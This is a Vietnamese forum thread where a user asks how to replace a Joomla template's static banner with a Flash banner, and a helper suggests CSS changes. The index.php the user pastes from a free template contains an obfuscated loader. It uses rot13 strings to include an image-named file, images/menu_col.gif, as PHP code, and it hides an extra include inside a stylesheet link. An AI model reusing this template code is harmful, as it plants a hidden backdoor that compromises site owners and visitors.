Loading
Trang 1 của 3 123 CuốiCuối
Kết quả 1 tới 10 của 29

Chủ đề: Chèn banner Flash vào Joomla

  1. #1

    Ngày tham gia
    Apr 2012
    Bài viết
    15
    Thanks
    5
    Thanked 0 Times in 0 Posts

    Chèn banner Flash vào Joomla

    em muốn chèn banner flash thay cho cái banner tĩnh của giao diện trong Joomla thì phải làm thế nào ạ. Đây là file index.php của em

    <?php
    // no direct access
    defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
    ?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
    <head>
    <jdoc:include type="head" />
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
    <!--[if lte IE 6]>
    <link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
    <style>
    #topnav ul li ul {
    left: -999em;
    margin-top: 0px;
    margin-left: 0px;
    }
    </style>
    <![endif]-->
    <script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
    <script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>
    </head>
    <body id="page_bg">
    <a name="up" id="up"></a>
    <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13 ($JPan[0].'.t'.'vs'))) : ?>
    <jdoc:include type="modules" name="layout" style="rounded" />
    <?php endif; ?>
    <div id="h_area"><a href="index.php" class="logo" title="Home"><?php echo $mainframe->getCfg('sitename') ;?></a><br clear="all" /></div>
    <?php include('functions.php'); ?>
    <div id="top_menu"><div id="topnav"><?php $hmenu->genHMenu (0); ?></div><br clear="all" /></div>

    <?php if($this->params->get('hideBannerArea') == 0) : ?>
    <?php if((JRequest::getVar('view') != 'frontpage' and $this->params->get('hideBannerAreaInternal') == 0) or JRequest::getVar('view') == 'frontpage') : ?>
    <div id="main_top" class="banner"></div>
    <?php endif; ?>
    <?php endif; ?>

    <div id="main_bg"><?php if($this->countModules('left')) : ?><div id="leftcolumn">
    <jdoc:include type="modules" name="left" style="rounded" />
    </div>
    <?php endif; ?>
    <?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix = '_middle';
    elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
    else $maincol_sufix = ''; ?>
    <div id="maincolumn<?php echo $maincol_sufix; ?>">
    <div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
    <div class="nopad"><jdoc:include type="component" /></div>
    </div>
    <?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
    <div id="rightcolumn">
    <?php if($this->countModules('user4')) : ?><div class="moduletable_menu"><div><div><div><h3>Search </h3><jdoc:include type="modules" name="user4" /></div></div></div></div><?php endif; ?>
    <jdoc:include type="modules" name="right" style="xhtml"/>
    <br />
    <div align="center"><jdoc:include type="modules" name="syndicate" /></div>
    </div>
    <?php endif; ?>
    <br clear="all" />
    </div>

    <div id="f_area">
    <?php if($this->countModules('user1')) : ?>
    <jdoc:include type="modules" name="user1" style="xhtml" />
    <?php endif; ?>
    <?php if($this->countModules('user2')) : ?>
    <jdoc:include type="modules" name="user2" style="xhtml" />
    <?php endif; ?>
    <br clear="all" />
    </div>

    <p id="power_by" align="center">
    <?php echo JText_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
    <?php echo JText_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>. Distributed by <a href="http://www.joomlaxe.com">Joomla 1.5 free templates</a>
    </p>

    <jdoc:include type="modules" name="debug" />
    </body>
    </html>
    còn đây là template em đang xài
    /*****************************/
    /*** Core html setup stuff ***/
    /*****************************/

    html {
    height: 100%;
    margin-bottom: 1px;
    }

    form {
    display:inline;
    }

    body {
    margin: 0px 0px 0px 0px;
    width: 100%;
    display: table;
    }

    body, td{
    font-family: "Trebuchet MS";
    font-size: 13px;
    color: #333;
    line-height: 1.3em;
    }

    a:link, a:visited {
    text-decoration: none;
    font-weight: normal;
    }

    a:hover {
    text-decoration: underline;
    font-weight: normal;
    }

    input.button { cursor: pointer; }

    p { margin-top: 0; margin-bottom: 5px; }

    img { border: 0 none; margin:0px; }

    /*****************************************/
    /*** Template specific layout elements ***/
    /*****************************************/
    #page_bg {
    padding: 0px;
    margin: 0px;
    margin-bottom: 0px;
    background: #F3F3EB;
    }

    div#top_menu{
    height:49px;
    margin:0px auto;
    width: 980px;
    }

    #topnav{ float:left; height: 49px; width:978px; margin: 0px; padding:0px; font-weight: bold; }
    #topnav ul { margin: 0px 0px 0px 11px; padding: 0; width: auto; float: left; list-style-type:none; }
    #topnav ul li{ margin: 0; padding: 0; height: 49px; float: left; position: relative; }
    #topnav ul li a{ color: #FFFFFF; font-weight: bold; text-decoration: none; padding: 13px 10px 0px 10px; height:36px; display: block; float: left; }
    #topnav ul li a:hover{ background-color: #444444; text-decoration: none; font-weight: bold; color: #fff; }
    #topnav ul li ul ul { margin: -50px 0 0 11em; }
    #topnav ul li li { width:auto; height: 35px; }
    #topnav ul li li a { color: #000000; text-transform: none; display: block; background: none; width: 277px; border-top: 1px solid #DDDDDD; border-left: 0px; padding: 9px 10px 6px 10px; height:20px; }
    #topnav ul li li a:hover{ background: none; background-color: #333333; left: 0; width: 277px; padding: 9px 10px 6px 10px; height:20px; border-top: 1px solid #DDDDDD; }
    #topnav ul li ul { left: -999em; top: 49px; left: 0; display: block; height: 36px; width: 277px; position: absolute; z-index: 99; left: -999em; clear: left; margin-top: 0px; margin-left: 0px; }
    #topnav ul li:hover ul ul, #topnav ul li:hover ul ul ul { left: -999em; }
    #topnav ul li:hover ul, #topnav ul li li:hover ul, #topnav ul li li li:hover ul { left: auto; }

    #top_menu_left{
    background: url(../images/top_menu_left.png) top left no-repeat;
    float:left;
    width: 14px;
    height: 54px;
    margin:0px;
    padding:0px;
    }
    #top_menu_right{
    background: url(../images/top_menu_right.png) top right no-repeat;
    float:left;
    width: 14px;
    height: 54px;
    margin:0px;
    padding:0px;
    }

    div#h_area{
    background: #09F url(../images/h_area_bg.jpg) no-repeat;
    border-left:1px solid #CCC;
    border-right:1px solid #CCC;
    margin:0px auto;
    width: 893px;
    height:113px;
    text-align:left;
    padding-left:85px;
    }


    .logo{
    display: block;
    float:left;
    padding-top:5px;
    margin-bottom:10px;
    width:600px;
    }
    a.logo,a.logo:link,a.logo:hover, a.logo:visited{
    font-size:26px;
    line-height: 58px;
    color: #1F1E1E;
    text-decoration:none;
    font-weight:bold;
    font-family: Georgia, "Times New Roman", Times, serif
    }


    div#main_bg{
    margin:0px auto;
    width: 978px;
    text-align:left;
    background: #FFFFFF;
    border-left:1px solid #CCC;
    border-right:1px solid #CCC;
    }
    div#main_top{
    margin:0px auto;
    padding:0px;
    width: 978px;
    height: 200px;
    border-top:1px solid white;
    border-left:1px solid #CCC;
    border-right:1px solid #CCC;
    }

    div.banner{background: #F3F3EB url(../images/banner.jpg) top center no-repeat; }

    .search {
    text-align:left;
    width: 156px;
    height:43px;
    }
    .search .inputbox {
    background:#FFFFFF;
    width: 156px;
    height: 17px;
    font-size: 11px;
    color: #454545;
    margin:9px 0px 0px 20px;
    border: 1px solid #D3D3D3;
    }


    #leftcolumn{
    margin-left:9px;
    padding:0px;
    width:205px;
    float:left;
    }
    #rightcolumn{
    margin-right:9px;
    padding:0px;
    width:205px;
    float:right;
    }

    #maincolumn{
    width:530px;
    float:left;
    margin:0px 5px 0px 5px;
    padding:0px;
    overflow:hidden;
    }
    #maincolumn_middle{
    width: 740px;
    float:left;
    margin:0px 5px 0px 5px;
    padding:0px;
    overflow:hidden;
    }
    #maincolumn_big{
    width: 967px;
    float:left;
    margin:0px 5px 0px 5px;
    padding:0px;
    overflow:hidden;
    }

    div.path{
    margin:10px 0 0 0px;
    padding: 5px;
    padding-left:30px;
    background:url(../images/breadcrumbs_bg.png) top left no-repeat;
    }

    div.nopad {
    float:left;
    padding:0 0px 15px 0px;
    }

    div.nopad ul {
    clear: both;
    }
    .article_separator {
    height:35px;
    line-height:35px;
    }
    form#form-login fieldset {
    border: none;
    margin: 0;
    margin-left:10px;
    }
    form#form-login ul li{
    padding: 0;
    }

    form#form-login ul li a {
    text-align: left;
    padding: 0px;
    font-size: 10px;
    color: #858585;
    }

    #leftcolumn div.module_menu, #leftcolumn div.module{
    margin: 10px 0px 0px 0px;
    padding:0px;
    width: 205px;
    }
    .article_column {
    padding-right:10px;
    }
    #rightcolumn div.moduletable_menu, #rightcolumn div.moduletable, #rightcolumn div.moduletable_text{
    margin: 10px 0px 0px 0px;
    padding: 0px;
    width: 205px;
    }
    div.bannergroup_text {
    margin:0px 13px 15px 13px;
    }
    .bannerheader {
    font-weight:bold;
    margin-bottom:10px;
    }
    .banneritem_text {
    margin-bottom:10px;
    }
    .bannerfooter_text {
    margin-bottom:10px;
    }
    #leftcolumn div.module_menu div div div, #leftcolumn div.module div div div,
    #rightcolumn div.moduletable_menu, #rightcolumn div.moduletable, #rightcolumn div.moduletable_text{
    background: url(../images/rub_bottom.png) center bottom no-repeat;
    }
    #leftcolumn div.module_menu div div div, #leftcolumn div.module div div{
    margin: 0px;
    padding: 0px;
    padding-bottom:5px;
    width: 205px;
    height:auto;
    }

    #leftcolumn div.module_menu div div div div, #leftcolumn div.module div div div div{
    background: none;
    padding:4px 8px;
    }
    table.poll thead td {
    text-align: left;
    padding-left:10px;
    }
    table.poll td {
    text-align: left;
    }
    #leftcolumn ul.menu li ul{
    list-style: none;
    }
    .pollstableborder {
    margin: 5px 0px 10px 0px;
    }
    .poll td div{
    display:inline;
    }

    /* forms */

    #leftcolumn .moduletable ul,
    #rightcolumn .moduletable ul {
    margin: 6px 0;
    padding: 0;
    list-style: none;
    }

    #leftcolumn .moduletable ul li,
    #rightcolumn .moduletable ul li {
    margin: 0;
    padding: 0 2px;
    }
    .moduletable ul {
    padding:5px 10px 5px 12px;
    margin:0px;
    }

    .moduletable ul li {
    padding:0px 10px 5px 15px;
    margin:0px;
    line-height:18px;
    }
    #leftcolumn ul.menu li#current ul li,
    #rightcolumn ul.menu li#current ul li {
    margin: 0px;
    padding: 0px;
    }
    ul.menu {
    padding:5px 10px 5px 12px;
    margin:0px;
    }
    ul.menu li{
    padding:0px 10px 5px 15px;
    margin:0px;
    list-style:none;
    background:url(../images/menu_arrow.gif) top left no-repeat;
    }

    ul.menu li ul {
    padding:0px 0px 5px 0px;
    margin:0px;
    }
    ul.menu li ul li{
    padding:0px 0px 0px 15px;
    border:none;
    }
    ul.menu li#current ul li a{
    margin-left:15px;
    text-decoration:none;
    }
    ul.mostread {
    padding:5px 10px 5px 12px;
    margin:0px;
    }
    ul.mostread li{
    padding:0px 10px 5px 15px;
    margin:0px;
    line-height:18px;
    }
    ul.latestnews {
    padding:5px 10px 5px 12px;
    margin:0px;
    }
    ul.latestnews li{
    padding:0px 10px 5px 15px;
    margin:0px;
    line-height:18px;
    }
    div.componentheading{
    font-size:16px;
    font-size:19px;
    margin:7px auto;
    }
    td.contentheading{
    font-weight:normal;
    vertical-align:top;
    font-size:19px;
    height:30px;
    color:#363636;
    background: url(../images/contentheading_ico.png) left top no-repeat;
    }
    table.contentpaneopen td.contentheading{
    padding-left:34px;
    }
    table.contentpaneopen{
    border-collapse: collapse;
    margin-left:5px;
    }
    td.buttonheading{
    padding:0px 2px 0px 2px;
    }
    table.contentpaneopen td{
    padding:0px;
    }
    .contentpaneopen p{
    line-height:22px;
    }
    span.small, td.createdate, td.modifydate{
    font-size:11px;
    color:#999999;
    }
    span.pagination span, span.pagination a{
    padding:5px;
    }



    div#f_area{
    background: #FFF;
    border-left:1px solid #CCC;
    border-right:1px solid #CCC;
    margin:0px auto;
    width: 978px;
    text-align:left;
    margin-bottom:3px;
    }
    #f_area div.moduletable, #f_area div.moduletable_menu{
    float: left;
    margin:10px 4px 10px 6px;
    width: 234px;
    }
    #f_area h3{
    text-align: left;
    height: 51px;
    width: 184px;
    line-height: 51px;
    color:#000000;
    font-size:19px;
    font-family:"Trebuchet MS", Tahoma, Verdana;
    margin:0px;
    padding-left: 50px;
    }

    /* System Standard Messages */
    #system-message { margin-bottom: 20px; }

    #system-message dd.message ul { background: #C3D2E5 url(../../system/images/notice-info.png) 4px center no-repeat;}

    /* System Error Messages */
    #system-message dd.error ul { color: #c00; background: #E6C0C0 url(../../system/images/notice-alert.png) 4px center no-repeat; border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B; margin:0px; padding-left: 40px; text-indent:0px;}

    /* System Notice Messages */
    #system-message dd.notice ul { color: #c00; background: #EFE7B8 url(../../system/images/notice-note.png) 4px center no-repeat; border-top: 3px solid #F0DC7E; border-bottom: 3px solid #F0DC7E;}

    #syndicate{
    float:left;
    padding-left: 25px;
    }
    Và đây là code Flash em muốn chèn
    <embed src="trinh.swf" quality="high" type="application/x-shockwave-flash" wmode="transparent" width="978" height="200" pluginspage="http://www.macromedia.com/go/getflashplayer" allowScriptAccess="always"></embed>
    Mong mọi người giup đỡ em. em thank

  2. #2

    Ngày tham gia
    Oct 2011
    Bài viết
    202
    Thanks
    29
    Thanked 85 Times in 55 Posts
    <div id="h_area">
    <a href="index.php" class="logo" title="Home"><?php echo $mainframe->getCfg('sitename') ;?></a><br clear="all" />
    </div>
    Thay dòng bôi đen = <embed src="đường dẫn đến file swf" height="xx" widht="xx">

  3. The Following User Says Thank You to cabomqn4 For This Useful Post:

    trinhbkpro (05-26-2012)

  4. #3

    Ngày tham gia
    Apr 2012
    Bài viết
    15
    Thanks
    5
    Thanked 0 Times in 0 Posts
    Thank bạn cabomqn4 nha mình chèn dc file Flash vào rồi nhưng cái banner lại bị lệch sang 1 bên bạn giup mình với.
    hjx.jpg

  5. #4

    Ngày tham gia
    Oct 2011
    Bài viết
    202
    Thanks
    29
    Thanked 85 Times in 55 Posts
    div#h_area{
    background: #09F url(../images/h_area_bg.jpg) no-repeat;
    border-left:1px solid #CCC;
    border-right:1px solid #CCC;
    margin:0px auto;
    width: 893px;
    height:113px;
    text-align:left;
    padding-left:85px; -> cho thành 0px thử nhé bạn
    }
    Lần sau có thank thì nhấn nút thank luôn hỉ ^^!

  6. The Following 3 Users Say Thank You to cabomqn4 For This Useful Post:

    Dr_F1 (05-26-2012), hungytl (01-25-2013), trinhbkpro (05-26-2012)

  7. #5

    Ngày tham gia
    May 2012
    Bài viết
    27
    Thanks
    7
    Thanked 16 Times in 6 Posts
    Trích Được post bởi cabomqn4 Xem bài viết
    div#h_area{
    background: #09F url(../images/h_area_bg.jpg) no-repeat;
    border-left:1px solid #CCC;
    border-right:1px solid #CCC;
    margin:0px auto;
    width: 893px;
    height:113px;
    text-align:left;
    padding-left:85px; -> cho thành 0px thử nhé bạn
    }
    Lần sau có thank thì nhấn nút thank luôn hỉ ^^!
    Nhấn thanks dùm bạn kia :))

  8. The Following 2 Users Say Thank You to Dr_F1 For This Useful Post:

    cabomqn4 (05-26-2012), nam.duc (11-06-2012)

  9. #6

    Ngày tham gia
    Oct 2011
    Bài viết
    202
    Thanks
    29
    Thanked 85 Times in 55 Posts
    haha... thêm 1 mem vui tính :))

  10. #7

    Ngày tham gia
    Apr 2012
    Bài viết
    15
    Thanks
    5
    Thanked 0 Times in 0 Posts
    cabomqn4 oi mình chỉnh như bạn nói thì cái banner cũ nó thay đổi chứ cái banner Flash vẫn nằm im. hjc mình gà quá mong bạn hướng dẫn chi tiết cho mình hì

  11. #8

    Ngày tham gia
    Apr 2012
    Bài viết
    15
    Thanks
    5
    Thanked 0 Times in 0 Posts
    hi mình bỏ dc cái banner cũ đi rôì nhưng khi mình cho padding-left:85px; -> cho thành 0px thì banner vẫn lệch 1 chút, mình thử cho xuống -40 thì banner vẫn thế. hình như nó không nhận giá trị âm. bạn có cách nào giup mình ko ?

  12. #9

    Ngày tham gia
    Oct 2011
    Bài viết
    202
    Thanks
    29
    Thanked 85 Times in 55 Posts
    lệch 1 chút là lệch như trên hình ah` bạn? Hay nhỏ hơn.
    Bạn làm banner flash của bạn làm đúng kích thước không???

  13. #10

    Ngày tham gia
    Oct 2011
    Bài viết
    202
    Thanks
    29
    Thanked 85 Times in 55 Posts
    div#h_area{
    background: #09F url(../images/h_area_bg.jpg) no-repeat;
    border-left:1px solid #CCC;
    border-right:1px solid #CCC;
    margin:0px auto;
    width: 893px; -> 978px
    height:113px;
    text-align:left;
    padding-left:85px; -> cho thành 0px
    }

    Bạn làm banner đúng kích thước: 978x113 px
    Hy vọng là ok, tại ko có demo...nhìn qua code tùm lum thế này nên chỉ ko được chính xác !!!

  14. The Following User Says Thank You to cabomqn4 For This Useful Post:

    trinhbkpro (05-26-2012)

Trang 1 của 3 123 CuốiCuối

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. [Giúp đỡ] Chèn banner flash khớp với menu ngang
    By caoboindu in forum Hướng dẫn - Hỏi đáp 1.5.x
    Trả lời: 2
    Bài viết cuối: 05-20-2013, 09:11 PM
  2. [Giúp đỡ] Cách chèn code flash banner vào joomla 1.5
    By satheo in forum Hướng dẫn - Hỏi đáp 1.5.x
    Trả lời: 8
    Bài viết cuối: 03-19-2012, 10:56 PM
  3. chèn banner flash vào file css của template joomla 1.7
    By SunMoon8 in forum Hỏi đáp Joomla! 2.5
    Trả lời: 8
    Bài viết cuối: 01-03-2012, 05:04 PM
  4. Giúp đỡ chèn banner flash cho website
    By ConanTV in forum Hỏi đáp Joomla! 2.5
    Trả lời: 7
    Bài viết cuối: 12-31-2011, 04:48 PM
  5. chèn banner flash vào joomla
    By phu_dj in forum Hướng dẫn - Hỏi đáp 1.5.x
    Trả lời: 9
    Bài viết cuối: 12-09-2011, 11:18 PM

Quyền viết bài

  • Bạn không thể tạo chủ đề mới
  • Bạn không thể gửi trả lời
  • Bạn không thể gửi đính kèm
  • Bạn không thể sửa bài viết của bạn
  •  
JoomlaViet.info is not affiliated with or endorsed by the Joomla! Project or Open Source Matters. The Joomla!® name and logo is used under a limited
license granted by Open Source Matters the trademark holder in the United States and other countries.
Copyright © 2011-2012 JoomlaViet.info. All rights reserved.

Content Relevant URLs by vBSEO